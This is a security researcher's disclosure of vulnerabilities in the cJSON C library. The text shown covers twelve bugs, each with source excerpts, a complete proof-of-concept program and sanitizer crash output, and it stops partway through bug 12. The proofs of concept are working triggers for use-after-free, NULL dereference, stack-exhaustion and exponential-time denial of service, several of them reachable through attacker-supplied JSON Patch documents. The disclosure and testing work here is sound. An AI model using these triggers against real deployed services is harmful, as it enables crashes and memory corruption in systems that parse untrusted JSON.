Joshua Rogers' Scribbles

33 Vulnerabilities in cJSON

cJSON is probably the most widely used JSON parser in the C world. It’s vendored into ESP-IDF, into a lot of embedded firmware, and into a whole lot more server-side C. I found 33 security issues in it, using a mix of AI and some manual fuzzing and review. They affect every version up to and including v1.7.19, and every one of them is still in the current code.

Looking at cJSON’s GitHub, several of these issues have been reported before, some with working proofs of concept attached, and a few of those reports are years old by now. Development has been more or less stagnant for four years. Memory-safety reports sit open and unanswered, and in a few cases the patch that would fix them is sitting right there in the same thread, unmerged. For most of what follows there is simply nothing available to apply. So this is a writeup instead of another bug report. If you ship cJSON, you need to know what’s in it, because nobody is going to hand you a fixed version.

Every proof of concept below is complete and self-contained. I compiled them all with:

cc -fsanitize=address,undefined -fno-omit-frame-pointer -g -O0 \
   -I. cJSON.c cJSON_Utils.c poc.c -o poc -lm

One thing to know before you try to reproduce any of this. A few of them only crash with AddressSanitizer and UndefinedBehaviorSanitizer enabled together, on an unoptimised build, because it’s the instrumentation that fattens the stack frames enough to run off the end. With ASan alone, or at -O2, some of them quietly return NULL instead. Test with a partial sanitizer set and this library looks considerably healthier than it is.

The first thirteen are memory-safety issues and a denial of service. The rest are logic bugs, most of which lose data or operate on the wrong object member without saying so. In a library whose whole job is applying somebody else’s patch document to your data, I count those.

Note: I used AI to help write this post, mostly because there are so many of them and doing 33 of these by hand is miserable. I have no emotional attachment to this project or to these findings, and getting them published seemed more useful than getting the prose exactly the way I’d write it myself.

If cJSON is parsing attacker-controlled JSON anywhere in your stack, look at what it would take to move off it. And don’t just merge the unlanded patches sitting on the GitHub repository and call it done, either. Some of those introduce fresh bugs of their own, from what I saw.


Bug number 1 (use-after-free)

Details

overwrite_item() handles a JSON Patch operation whose path is the empty string, meaning one that replaces the whole document root. It frees the node’s child, valuestring and string unconditionally:

/* cJSON_Utils.c:791 */
static void overwrite_item(cJSON * const root, const cJSON replacement)
{
    if (root == NULL)
    {
        return;
    }

    if (root->string != NULL)
    {
        cJSON_free(root->string);          /* [ ignores cJSON_StringIsConst ] */
    }
    if (root->valuestring != NULL)
    {
        cJSON_free(root->valuestring);     /* [ ignores cJSON_IsReference ] */
    }
    if (root->child != NULL)
    {
        cJSON_Delete(root->child);         /* [ ignores cJSON_IsReference ] */
    }

    memcpy(root, &replacement, sizeof(cJSON));
}

cJSON’s own destructor honours both of those flags. This function doesn’t. cJSON_IsReference means child and valuestring are borrowed and belong to somebody else, and cJSON_StringIsConst means string must never be freed. A node made by cJSON_CreateObjectReference() holds a borrowed subtree in child, so a patch containing {"op":"replace","path":""} frees a subtree the patched node doesn’t own. The real owner then frees it a second time.

The same helper throws in two more invalid frees while it’s there. Against a node from cJSON_CreateStringReference() it calls cJSON_free() on memory that may never have been on the heap. Against one whose key was set with cJSON_AddItemToObjectCS(), it calls cJSON_free() on a string literal.

Proof of Concept

#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *owner = cJSON_Parse("{\"k\":{\"n\":1}}");
    cJSON *ref = cJSON_CreateObjectReference(cJSON_GetObjectItem(owner, "k"));
    cJSON *patch = cJSON_Parse("[{\"op\":\"replace\",\"path\":\"\",\"value\":1}]");

    cJSONUtils_ApplyPatches(ref, patch);  /* frees owner's "k" through the reference */
    cJSON_Delete(owner);                  /* use-after-free / double free on "k" */
    return 0;
}
=================================================================
==85943==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x0001021554dc bp 0x00016dcaa540 sp 0x00016dcaa538
READ of size 8 at 0x606000000260 thread T0
    #0 0x0001021554d8 in cJSON_Delete cJSON.c:258
    #1 0x00010215573c in cJSON_Delete cJSON.c:261
    #2 0x000102189674 in main poc.c:15

0x606000000260 is located 0 bytes inside of 64-byte region [0x606000000260,0x6060000002a0)
freed by thread T0 here:
    #0 0x00010270d424 in free+0x7c
    #1 0x000102155e00 in cJSON_Delete cJSON.c:273
    #2 0x000102185a0c in overwrite_item cJSON_Utils.c:801
    #3 0x00010217e87c in apply_patch cJSON_Utils.c:869
    #4 0x00010217e1e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056
    #5 0x00010218966c in main poc.c:14

previously allocated by thread T0 here:
    #0 0x00010270d330 in malloc+0x78
    #1 0x000102157bb0 in cJSON_New_Item cJSON.c:243
    #2 0x000102172568 in parse_object cJSON.c:1698
    #3 0x00010215a678 in parse_value cJSON.c:1416
    #4 0x000102157278 in cJSON_ParseWithLengthOpts cJSON.c:1172
    #5 0x000102156f80 in cJSON_ParseWithOpts cJSON.c:1143
    #6 0x00010215b69c in cJSON_Parse cJSON.c:1229
    #7 0x000102189634 in main poc.c:10

SUMMARY: AddressSanitizer: heap-use-after-free cJSON.c:258 in cJSON_Delete

The freeing stack is the whole bug. apply_patch reaches overwrite_item, which deletes the borrowed subtree, and the owner’s own cJSON_Delete walks into it afterwards.

The attacker controls the trigger, since it’s just "path":"" in the patch document. The application does have to have handed a reference-type or const-keyed node to the patcher for any of it to matter.

Impact

Heap use-after-free and double free, plus invalid frees of non-heap memory and of string literals.


Bug number 2 (use-after-free)

Details

cJSONUtils_ApplyPatches() walks the patch array by holding a raw pointer to the current element, calling apply_patch(), and only then reading ->next:

/* cJSON_Utils.c:1054 */
while (current_patch != NULL)
{
    status = apply_patch(object, current_patch, false);
    if (status != 0)
    {
        return status;
    }
    current_patch = current_patch->next;   /* [ current_patch may be freed by now ] */
}

apply_patch() frees nodes out of object at three different places: cJSON_Utils.c:845 in overwrite_item, :896 in the remove/replace delete, and :1013 on the add path. Nothing anywhere enforces that object and patches are disjoint trees. So if object is the patch array, or is an ancestor of it, a patch can delete the very node the loop is about to step through.

Pointer resolution only ever descends through ->child and ->next, so a path can’t climb up out of object. That pins the precondition down: object has to be patches, or has to contain it.

Nothing in the headers or the documentation says a word about disjointness. The function is even declared cJSONUtils_ApplyPatches(cJSON * const object, const cJSON * const patches), so the library promises not to modify patches and then goes and frees nodes reachable through it. Passing the same pointer twice compiles clean under -Wall -Wextra -Wpedantic.

Proof of Concept

#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *a = cJSON_Parse("[{\"op\":\"remove\",\"path\":\"/0\"}]");

    cJSONUtils_ApplyPatches(a, a);

    return 0;
}
=================================================================
==85787==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x0001001462a8 bp 0x00016fce2ab0 sp 0x00016fce2aa8
READ of size 8 at 0x606000000260 thread T0
    #0 0x0001001462a4 in cJSONUtils_ApplyPatches cJSON_Utils.c:1061
    #1 0x000100151644 in main poc.c:12

0x606000000260 is located 0 bytes inside of 64-byte region [0x606000000260,0x6060000002a0)
freed by thread T0 here:
    #0 0x0001008b1424 in free+0x7c
    #1 0x00010011de00 in cJSON_Delete cJSON.c:273
    #2 0x000100146be4 in apply_patch cJSON_Utils.c:896
    #3 0x0001001461e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056
    #4 0x000100151644 in main poc.c:12

previously allocated by thread T0 here:
    #0 0x0001008b1330 in malloc+0x78
    #1 0x00010011fbb0 in cJSON_New_Item cJSON.c:243
    #2 0x0001001387ec in parse_array cJSON.c:1535
    #3 0x0001001221ec in parse_value cJSON.c:1411
    #4 0x00010011f278 in cJSON_ParseWithLengthOpts cJSON.c:1172
    #5 0x00010011ef80 in cJSON_ParseWithOpts cJSON.c:1143
    #6 0x00010012369c in cJSON_Parse cJSON.c:1229
    #7 0x000100151634 in main poc.c:10

SUMMARY: AddressSanitizer: heap-use-after-free cJSON_Utils.c:1061 in cJSONUtils_ApplyPatches

The two stacks line up neatly. cJSON_Utils.c:1056 is the apply_patch call that frees the node, and cJSON_Utils.c:1061 is the current_patch->next read five lines below it.

Now, applying a patch array to itself is obviously silly, and if that were the only way in I’d have written this off. It isn’t. Picture an application that takes the document and the patch in one request body and patches in place:

cJSON *req = cJSON_Parse(body);                                  /* {"doc":…, "patch":[…]} */
cJSONUtils_ApplyPatches(req, cJSON_GetObjectItem(req, "patch")); /* target is an ancestor */

Against that, {"op":"remove","path":"/patch"} is a use-after-free the attacker triggers with nothing but the bytes they already control. The safer-looking version of the same code, the one passing GetObjectItem(req,"doc"), is fine, because then the two subtrees are disjoint. One argument separates them.

A replace at /0 gives you a second, distinct use-after-free inside apply_patch() at cJSON_Utils.c:943, and {"op":"remove","path":""} gives a third through overwrite_item().

Impact

Heap use-after-free through the public JSON Patch API, reachable from attacker-supplied patch bytes in the request shape above.


Bug number 3 (use-after-free)

Details

merge_patch() has the same defect in a second function. It iterates the patch object while deleting members from the target:

/* cJSON_Utils.c:1339 */
while (patch_child != NULL)
{
    if (cJSON_IsNull(patch_child))
    {
        
        cJSON_DeleteItemFromObject(target, patch_child->string);   /* [ may free patch_child ] */
    }
    
    patch_child = patch_child->next;                               /* [ freed ] */
}

A few lines earlier there’s a second variant, and that one is worse. When target isn’t an object, merge_patch() deletes it and then immediately duplicates the pointer it has just freed:

/* cJSON_Utils.c:1328 */
cJSON_Delete(target);
return cJSON_Duplicate(patch, 1);   /* [ patch == target, already freed ] */

That one is unconditional whenever the caller aliases the two arguments and the target is a scalar. cJSONUtils_MergePatch(cJSON_Parse("1"), same_pointer) does it.

Proof of Concept

The documentation for this function does say that target may be freed and that the return value is the new pointer, so the proof of concept below never touches t after the call. The sanitizer report fires inside the library, before anything returns. This isn’t me double-freeing in the harness.

#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *t = cJSON_Parse("{\"a\":null}");

    cJSONUtils_MergePatch(t, t);

    return 0;
}
=================================================================
==85866==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x000104eedc5c bp 0x00016af3e920 sp 0x00016af3e918
READ of size 8 at 0x606000000260 thread T0
    #0 0x000104eedc58 in merge_patch cJSON_Utils.c:1376
    #1 0x000104eed5e4 in cJSONUtils_MergePatch cJSON_Utils.c:1383
    #2 0x000104ef5644 in main poc.c:12

0x606000000260 is located 0 bytes inside of 64-byte region [0x606000000260,0x6060000002a0)
freed by thread T0 here:
    #0 0x0001057a1424 in free+0x7c
    #1 0x000104ec1e00 in cJSON_Delete cJSON.c:273
    #2 0x000104ecd838 in cJSON_DeleteItemFromObject cJSON.c:2325
    #3 0x000104eed8ec in merge_patch cJSON_Utils.c:1350
    #4 0x000104eed5e4 in cJSONUtils_MergePatch cJSON_Utils.c:1383
    #5 0x000104ef5644 in main poc.c:12

previously allocated by thread T0 here:
    #0 0x0001057a1330 in malloc+0x78
    #1 0x000104ec3bb0 in cJSON_New_Item cJSON.c:243
    #2 0x000104ede568 in parse_object cJSON.c:1698
    #3 0x000104ec6678 in parse_value cJSON.c:1416
    #4 0x000104ec3278 in cJSON_ParseWithLengthOpts cJSON.c:1172
    #5 0x000104ec2f80 in cJSON_ParseWithOpts cJSON.c:1143
    #6 0x000104ec769c in cJSON_Parse cJSON.c:1229
    #7 0x000104ef5634 in main poc.c:10

SUMMARY: AddressSanitizer: heap-use-after-free cJSON_Utils.c:1376 in merge_patch

Same shape as before, both stacks inside merge_patch: :1350 deletes the member and :1376 walks through it anyway.

Impact

Heap use-after-free in the RFC 7396 merge-patch API.


Bug number 4 (use-after-free)

Details

cJSON_ReplaceItemViaPointer() frees the item it replaces at cJSON.c:2412. Two things combine to make that a problem. The object APIs perform no type check whatsoever, so they’ll happily operate on a cJSON_String, and nothing rejects a replacement that happens to be the parent itself. Put those together and the library is left holding a pointer to memory it has already freed, which create_reference() then copies at cJSON.c:2020.

Proof of Concept

#include "cJSON.h"

int main(void)
{
    cJSON *s = cJSON_Parse("\"x\"");          /* a string, not a container */
    cJSON *ref = NULL;

    cJSON_AddItemReferenceToObject(s, "", s); /* no type check: string gains a child */
    ref = cJSON_GetArrayItem(s, 0);           /* the library's own pointer to it */
    cJSON_ReplaceItemInObject(s, "", s);      /* frees ref at cJSON.c:2412 */
    cJSON_AddItemReferenceToObject(s, "", ref);
    return 0;
}
=================================================================
==85684==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x0001055631fc bp 0x00016af0e9c0 sp 0x00016af0e170
READ of size 64 at 0x606000000260 thread T0
    #0 0x0001055631f8 in __asan_memcpy+0x400
    #1 0x000104efab5c in create_reference cJSON.c:2020
    #2 0x000104efaed4 in cJSON_AddItemReferenceToObject cJSON.c:2147
    #3 0x000104f25684 in main poc.c:15

0x606000000260 is located 0 bytes inside of 64-byte region [0x606000000260,0x6060000002a0)
freed by thread T0 here:
    #0 0x000105565424 in free+0x7c
    #1 0x000104ef1e00 in cJSON_Delete cJSON.c:273
    #2 0x000104eff0fc in cJSON_ReplaceItemViaPointer cJSON.c:2412
    #3 0x000104eff6fc in replace_item_in_object cJSON.c:2447
    #4 0x000104eff1b0 in cJSON_ReplaceItemInObject cJSON.c:2452
    #5 0x000104f25674 in main poc.c:14

previously allocated by thread T0 here:
    #0 0x000105565330 in malloc+0x78
    #1 0x000104ef3bb0 in cJSON_New_Item cJSON.c:243
    #2 0x000104efaad8 in create_reference cJSON.c:2014
    #3 0x000104efaed4 in cJSON_AddItemReferenceToObject cJSON.c:2147
    #4 0x000104f25654 in main poc.c:12

SUMMARY: AddressSanitizer: heap-use-after-free cJSON.c:2020 in create_reference

The read is 64 bytes wide, which is the entire cJSON struct, because create_reference memcpys the freed node in one go.

Impact

Heap use-after-free.


Bug number 5 (NULL pointer dereference)

Details

cJSON_DetachItemViaPointer() writes through parent->child without checking that it’s non-NULL:

/* cJSON.c:2284 */
parent->child->prev = item->prev;   /* [ parent->child may be NULL ] */

This one is a regression, and an unusually clear one. The function used to be guarded with (parent == NULL) || (parent->child == NULL) || (item == NULL) || (item->prev == NULL). Two days later the same author rewrote the test as (parent == NULL) || (item == NULL) || (item != parent->child && item->prev == NULL), and dropped the parent->child check on the way past.

Whatever guard survived dictates the shape of the proof of concept. Here the item has to come from a different container, so that item->prev is non-NULL and the earlier check waves it through to the store.

Proof of Concept

#include "cJSON.h"

int main(void)
{
    cJSON *parent = cJSON_Parse("{}");      /* empty container: child == NULL */
    cJSON *other = cJSON_Parse("[1,2]");

    cJSON_DetachItemViaPointer(parent, cJSON_GetArrayItem(other, 1));
    return 0;
}
cJSON.c:2284:24: runtime error: member access within null pointer of type 'struct cJSON'
    #0 0x000102f01508 in cJSON_DetachItemViaPointer cJSON.c:2284
    #1 0x000102f29668 in main poc.c:14
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON.c:2284:24

==85527==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x000102f01584 bp 0x00016cf0ab40 sp 0x00016cf0a6e0 T0)
==85527==The signal is caused by a WRITE memory access.
==85527==Hint: address points to the zero page.
    #0 0x000102f01584 in cJSON_DetachItemViaPointer cJSON.c:2284
    #1 0x000102f29668 in main poc.c:14

SUMMARY: AddressSanitizer: SEGV cJSON.c:2284 in cJSON_DetachItemViaPointer

Address 0x8 is the offset of prev within cJSON. Note that it’s a write, not a read.

Impact

NULL pointer dereference through the plain public API, resulting in Denial of Service.


Bug number 6 (stack exhaustion)

Details

Nothing checks that the replacement passed to cJSON_ReplaceItemInArray() isn’t the array itself. Replace an array’s own element with the array and you get a->child = a, a self-referential cycle, and the function reports success. cJSON_Delete() then recurses on the same node forever.

Proof of Concept

#include <stdio.h>
#include "cJSON.h"

int main(void)
{
    cJSON *a = cJSON_Parse("[1]");
    int rc = cJSON_ReplaceItemInArray(a, 0, a);

    printf("returned %d, (a->child == a) is %d\n", rc, a->child == a);
    fflush(stdout);
    cJSON_Delete(a);
    return 0;
}
returned 1, (a->child == a) is 1
==85671==ERROR: AddressSanitizer: stack-overflow on address 0x00016d037ff8 (pc 0x0001025cd6d0 bp 0x00016d038100 sp 0x00016d037e10 T0)
    #0 0x0001025cd6d0 in cJSON_Delete cJSON.c:261
    #1 0x0001025cd73c in cJSON_Delete cJSON.c:261
    #2 0x0001025cd73c in cJSON_Delete cJSON.c:261
    #3 0x0001025cd73c in cJSON_Delete cJSON.c:261
    [ ... 248 identical frames elided ... ]
    #252 0x0001025cd73c in cJSON_Delete cJSON.c:261
    #253 0x0001025cd73c in cJSON_Delete cJSON.c:261
    #254 0x0001025cd73c in cJSON_Delete cJSON.c:261
SUMMARY: AddressSanitizer: stack-overflow cJSON.c:261 in cJSON_Delete

Every frame is the same line recursing on the same node. The first line of the output is the more interesting one, though. The API returns 1, meaning success, having just corrupted the structure it was handed.

Impact

Stack exhaustion on the subsequent delete, resulting in Denial of Service.


Bug number 7 (use-after-free)

Details

cJSON_ParseWithOpts() returns early when you hand it a NULL value, at cJSON.c:1135-1138, and that early return sits before the point where the function resets global_error. So cJSON_GetErrorPtr() carries on handing back a pointer into whatever buffer the previous failed parse was reading, which the caller has very likely freed by then.

Proof of Concept

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "cJSON.h"

int main(void)
{
    char *doc = strdup("{\"a\":");

    cJSON_Parse(doc);                 /* fails; global_error.json = doc */
    free(doc);
    cJSON_Parse(NULL);                /* early return, global_error untouched */
    printf("%c\n", *cJSON_GetErrorPtr());   /* heap-use-after-free */
    return 0;
}
=================================================================
==85554==ERROR: AddressSanitizer: heap-use-after-free on address 0x6020000000d5 at pc 0x0001020e56c4 bp 0x00016dd4eb40 sp 0x00016dd4eb38
READ of size 1 at 0x6020000000d5 thread T0
    #0 0x0001020e56c0 in main poc.c:17

0x6020000000d5 is located 5 bytes inside of 6-byte region [0x6020000000d0,0x6020000000d6)
freed by thread T0 here:
    #0 0x0001029d5424 in free+0x7c
    #1 0x0001020e5650 in main poc.c:15

previously allocated by thread T0 here:
    #0 0x0001029cf300 in strdup+0x108
    #1 0x0001020e563c in main poc.c:12

SUMMARY: AddressSanitizer: heap-use-after-free poc.c:17 in main

The read is in main, and that’s rather the point. The library handed the caller a pointer 5 bytes into a 6-byte region the caller had already freed, and there is no way for the caller to know that. Everything about the pointer looks fine.

While I was in here, the neighbouring line caught my eye too:

/* cJSON.c:96 */
return (const char*) (global_error.json + global_error.position);

Before any failed parse, global_error is { NULL, 0 }, so this applies a zero offset to a null pointer, which is undefined behaviour per C17 6.5.6p8. A bare call to cJSON_GetErrorPtr() in a fresh process is enough to trip it:

cJSON.c:96:45: runtime error: applying zero offset to null pointer
    #0 0x0001007fc95c in cJSON_GetErrorPtr cJSON.c:96
    #1 0x00010083162c in main poc.c:9
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON.c:96:45

Impact

The library hands the application a dangling pointer during ordinary error handling.


Bug number 8 (stack exhaustion)

Details

CJSON_NESTING_LIMIT bounds the parser at 1000 levels. CJSON_CIRCULAR_LIMIT, which bounds cJSON_Duplicate(), is set to 10000 – ten times higher:

/* cJSON.h:143 */
#define CJSON_CIRCULAR_LIMIT 10000

Ten thousand recursive frames don’t fit in a default stack once the build is instrumented, so the guard never gets the chance to fire. I measured the survivable depth at the default ulimit -s 8176:

-O0, address+undefined     5333 frames    (~1569 B/frame)   -> overflows
-O0, undefined only        7363 frames                      -> overflows
-O0, address only         13756 frames                      -> returns NULL
-O2, address+undefined    65348 frames                      -> returns NULL
-O0, no sanitizer         87155 frames                      -> returns NULL

That second row is the one that matters, because it is cJSON’s own build configuration. The project’s sanitizer option passes -fsanitize=undefined -fsanitize=integer -fno-sanitize-recover and no -O flag at all. Build the repository’s own test suite with its own option, run it at the default stack limit, and you get this:

==83616==ERROR: UndefinedBehaviorSanitizer: stack-overflow
    #254 in cJSON_Duplicate_rec
SUMMARY: UndefinedBehaviorSanitizer: stack-overflow in cJSON_New_Item

The last test to pass is at tests/misc_tests.c:813. The one that aborts is on the next line: cjson_should_not_follow_too_deep_circular_references, which is the regression test somebody wrote for this exact bug.

Proof of Concept

#include "cJSON.h"

int main(void)
{
    cJSON *outer = cJSON_CreateArray();
    cJSON *inner = cJSON_CreateArray();

    cJSON_AddItemToArray(outer, inner);
    cJSON_AddItemToArray(inner, outer);   /* cycle: outer -> inner -> outer */
    cJSON_Duplicate(outer, 1);
    return 0;
}
==85541==ERROR: AddressSanitizer: stack-overflow on address 0x00016d49fdc0 (pc 0x000102b012e4 bp 0x00016d4a05f0 sp 0x00016d49fdc0 T0)
    #0 0x000102b012e4 in malloc+0x2c
    #1 0x000102167bb0 in cJSON_New_Item cJSON.c:243
    #2 0x0001021755d4 in cJSON_Duplicate_rec cJSON.c:2802
    #3 0x000102176380 in cJSON_Duplicate_rec cJSON.c:2839
    [ ... 248 identical frames elided ... ]
    #252 0x000102176380 in cJSON_Duplicate_rec cJSON.c:2839
    #253 0x000102176380 in cJSON_Duplicate_rec cJSON.c:2839
    #254 0x000102176380 in cJSON_Duplicate_rec cJSON.c:2839
SUMMARY: AddressSanitizer: stack-overflow cJSON.c:243 in cJSON_New_Item

AddressSanitizer truncates the backtrace at 255 frames, so what you see is the shape of the recursion and not the depth it actually got to. cJSON.c:2839 is the ->next chain duplication.

Impact

Stack exhaustion, resulting in Denial of Service.


Bug number 9 (stack exhaustion)

Details

Parsing is depth-limited, and printing has been depth-limited for a while now. cJSON_Delete() is neither:

/* cJSON.c:261 */
cJSON_Delete(item->child);   /* [ no depth bound ] */

On its own that only matters to callers who build trees by hand, which is niche enough to ignore. JSON Patch is what makes it interesting, because it hands an attacker a way to build one. The copy operation duplicates a subtree and inserts it with no check on the resulting depth, so each operation roughly doubles it. Starting from the deepest document the parser will accept, four operations take you from 999 to nearly 8000 and then off the end of the stack:

depth 999: copying /0 into the deepest array
depth 1997: copying /0 into the deepest array
depth 3993: copying /0 into the deepest array
depth 7985: copying /0 into the deepest array
==85968==ERROR: AddressSanitizer: stack-overflow on address 0x00016d20bcc0 (pc 0x000102b152e4 bp 0x00016d20c4f0 sp 0x00016d20bcc0 T0)
    #0 0x000102b152e4 in malloc+0x2c
    #1 0x0001023fbbb0 in cJSON_New_Item cJSON.c:243
    #2 0x0001024095d4 in cJSON_Duplicate_rec cJSON.c:2802
    #3 0x00010240a380 in cJSON_Duplicate_rec cJSON.c:2839
    [ ... 248 identical frames elided ... ]
    #252 0x00010240a380 in cJSON_Duplicate_rec cJSON.c:2839
    #253 0x00010240a380 in cJSON_Duplicate_rec cJSON.c:2839
    #254 0x00010240a380 in cJSON_Duplicate_rec cJSON.c:2839
SUMMARY: AddressSanitizer: stack-overflow cJSON.c:243 in cJSON_New_Item

Note where it dies. That’s inside the copy operation’s own cJSON_Duplicate, not in some later traversal, and the document the attacker sent is a four-element patch array.

The growth is bounded, though only by accident. cJSON_Duplicate’s own circular-reference check eventually refuses, which caps the achievable depth somewhere around 20000.

Proof of Concept

#include <stdio.h>
#include <string.h>
#include "cJSON.h"
#include "cJSON_Utils.h"
static char source[2000], path[20000];

int main(void)
{
    cJSON *doc, *patch, *node;
    int i, n;
    memset(source, '[', 999);
    memset(source + 999, ']', 999);
    doc = cJSON_Parse(source);  /* the deepest tree cJSON_Parse will accept */
    patch = cJSON_Parse("[{\"op\":\"copy\",\"from\":\"/0\",\"path\":\"\"}]");
    for (i = 0; i < 4; i++) {
        for (n = 0, node = doc; node->child; node = node->child, n += 2) memcpy(path + n, "/0", 2);
        memcpy(path + n, "/-", 3);  /* append position inside the deepest array */
        cJSON_SetValuestring(cJSON_GetObjectItem(patch->child, "path"), path);
        printf("depth %d: copying /0 into the deepest array\n", n / 2 + 1);
        fflush(stdout);
        cJSONUtils_ApplyPatches(doc, patch);
    }
    return 0;
}

For the unbounded cJSON_Delete() on its own, without any patches involved, a hand-built 100000-deep array is enough:

built a 100000-deep array by hand (the parser would reject it); cJSON_Delete...
==85749==ERROR: AddressSanitizer: stack-overflow on address 0x00016d3ebe30 (pc 0x0001022193f4 bp 0x00016d3ec140 sp 0x00016d3ebe50 T0)
    #0 0x0001022193f4 in cJSON_Delete cJSON.c:254
    #1 0x00010221973c in cJSON_Delete cJSON.c:261
    [ ... 251 identical frames elided ... ]
    #253 0x00010221973c in cJSON_Delete cJSON.c:261
    #254 0x00010221973c in cJSON_Delete cJSON.c:261
SUMMARY: AddressSanitizer: stack-overflow cJSON.c:254 in cJSON_Delete

Impact

Stack exhaustion from an attacker-supplied multi-operation patch document, resulting in Denial of Service. Whether it actually crashes depends on your stack size. A 512 KB thread stack, which is the macOS pthread default and fairly typical of embedded targets, goes over without much trouble.


Bug number 10 (denial of service)

Details

cJSON_Compare() recurses twice over every object level. The code says so itself:

/* cJSON.c:3160 */
cJSON_ArrayForEach(a_element, a)
{
    b_element = get_object_item(b, a_element->string, case_sensitive);
    
    if (!cJSON_Compare(a_element, b_element, case_sensitive))
    {
        return false;
    }
}

/* doing this twice, once from a's perspective and once from b's perspective,
 * makes it so that the order of the members doesn't matter, but it is a bit
 * of a hack, just a fix for now */
cJSON_ArrayForEach(b_element, b)
{
    
    if (!cJSON_Compare(b_element, a_element, case_sensitive))
    {
        return false;
    }
}

There’s no depth guard. The result is 2^depth, not the quadratic behaviour you might expect from a nested-loop lookup, and every extra level of nesting doubles the runtime. I measured 0.258 s at depth 22, 0.513 s at 23, 1.019 s at 24, 2.048 s at 25, 8.215 s at 27, and 23.5 s at 31.

The parser accepts 1000 levels, so about 7 KB of input buys you 2^1000 comparisons. The worst case needs the two documents to be equal, since a mismatch short-circuits, and equal documents are of course the common case for a “has this changed?” check.

Proof of Concept

#include <stdio.h>
#include <string.h>
#include <time.h>
#include "cJSON.h"
enum { DEPTH = 25 };
int main(void)
{
    char json[DEPTH * 6 + 2]; int i; clock_t t0; double sec; cJSON *a, *b;
    for (i = 0; i < DEPTH; i++) { memcpy(json + i * 5, "{\"k\":", 5); json[DEPTH * 5 + 1 + i] = '}'; }
    json[DEPTH * 5] = '1'; json[DEPTH * 6 + 1] = '\0';
    a = cJSON_Parse(json);
    b = cJSON_Parse(json);
    t0 = clock();
    cJSON_Compare(a, b, 1);
    sec = (double)(clock() - t0) / CLOCKS_PER_SEC;
    printf("depth %d, %zu-byte document: cJSON_Compare took %.3f s\n", DEPTH, strlen(json), sec);
    cJSON_Delete(a); cJSON_Delete(b);
    return 0;
}
depth 25, 151-byte document: cJSON_Compare took 2.045 s

Impact

Exponential CPU consumption from a small document, resulting in Denial of Service. Of everything here, this is the one that asks the least of the application. Any service that compares a parsed document against another one is exposed.


Bug number 11 (NULL pointer dereference)

Details

cJSON_Utils.c:876 reads object->string with no NULL check, on a path that overwrite_item() has already returned early from for a NULL root. A root-level add or replace against a NULL object dereferences it.

That would be unremarkable caller error, except that cJSON’s own test suite asserts the opposite. tests/misc_utils_tests.c:51-54 states outright that cJSONUtils_ApplyPatches(NULL, item) must not crash. It only survives today because item in that test isn’t an array, so it trips an earlier check and never reaches this line at all.

Proof of Concept

#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *patch = cJSON_Parse("[{\"op\":\"add\",\"path\":\"\",\"value\":1}]");

    cJSONUtils_ApplyPatches(NULL, patch);
    return 0;
}
cJSON_Utils.c:876:25: runtime error: member access within null pointer of type 'cJSON' (aka 'struct cJSON')
    #0 0x00010468e8d4 in apply_patch cJSON_Utils.c:876
    #1 0x00010468e1e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056
    #2 0x000104699644 in main poc.c:12
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON_Utils.c:876:25

==85774==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000038 (pc 0x00010468e94c bp 0x00016b79aaa0 sp 0x00016b79a5c0 T0)
==85774==The signal is caused by a READ memory access.
==85774==Hint: address points to the zero page.
    #0 0x00010468e94c in apply_patch cJSON_Utils.c:876
    #1 0x00010468e1e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056
    #2 0x000104699644 in main poc.c:12

SUMMARY: AddressSanitizer: SEGV cJSON_Utils.c:876 in apply_patch

0x38 is the offset of string within cJSON.

One aside from the same path, while I’m here: [{"op":"remove","path":""}] against a NULL object returns 0, i.e. success, having done precisely nothing.

Impact

NULL pointer dereference on a path the project’s own tests claim is safe, resulting in Denial of Service.


Bug number 12 (NULL pointer dereference)

Details

apply_patch() and detach_path() read valuestring after checking only cJSON_IsString():

/* cJSON_Utils.c:839 */
if (path->valuestring[0] == '\0')   /* [ valuestring may be NULL ] */

cJSON_CreateStringReference(NULL) stores the pointer unchecked and produces a node that passes cJSON_IsString() with a NULL valuestring, so this crashes. The same gap exists for the op field at cJSON_Utils.c:750 and the from field at :438.

This is not reachable from parsed JSON, and I don’t want to oversell it. parse_string() always assigns, and cJSON_CreateString(NULL) returns NULL, so the application has to build the patch this way itself. That makes it a robustness gap and not an attack path. The mildly annoying part is that cJSON’s core does tolerate a NULL valuestring elsewhere; print_string_ptr() special-cases exactly that.

Proof of Concept

#include "cJSON.h"
#include "cJSON_Utils.h"

int main(void)
{
    cJSON *patch = cJSON_CreateArray();
    cJSON *op = cJSON_CreateObject();

    cJSON_AddStringToObject(op, "op", "remove");
    cJSON_AddItemToObject(op, "path", cJSON_CreateStringReference(NULL));
    cJSON_AddItemToArray(patch, op);
    cJSONUtils_ApplyPatches(cJSON_CreateObject(), patch);
    return 0;
}
cJSON_Utils.c:839:9: runtime error: applying zero offset to null pointer
    #0 0x000100bd26fc in apply_patch cJSON_Utils.c:839
    #1 0x000100bd21e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056
    #2 0x000100bdd68c in main poc.c:16
cJSON_Utils.c:839:9: runtime error: load of null pointer of type 'char'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON_Utils.c:839:9

==85915==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000100bd2770 bp 0x00016f256aa0 sp 0x00016f2565c0 T0)
==85915==The signal is caused by a READ memory access.
==85915==Hint: address points to the zero page.
    #0 0x000100bd2770 in apply_patch cJSON_Utils.c:839
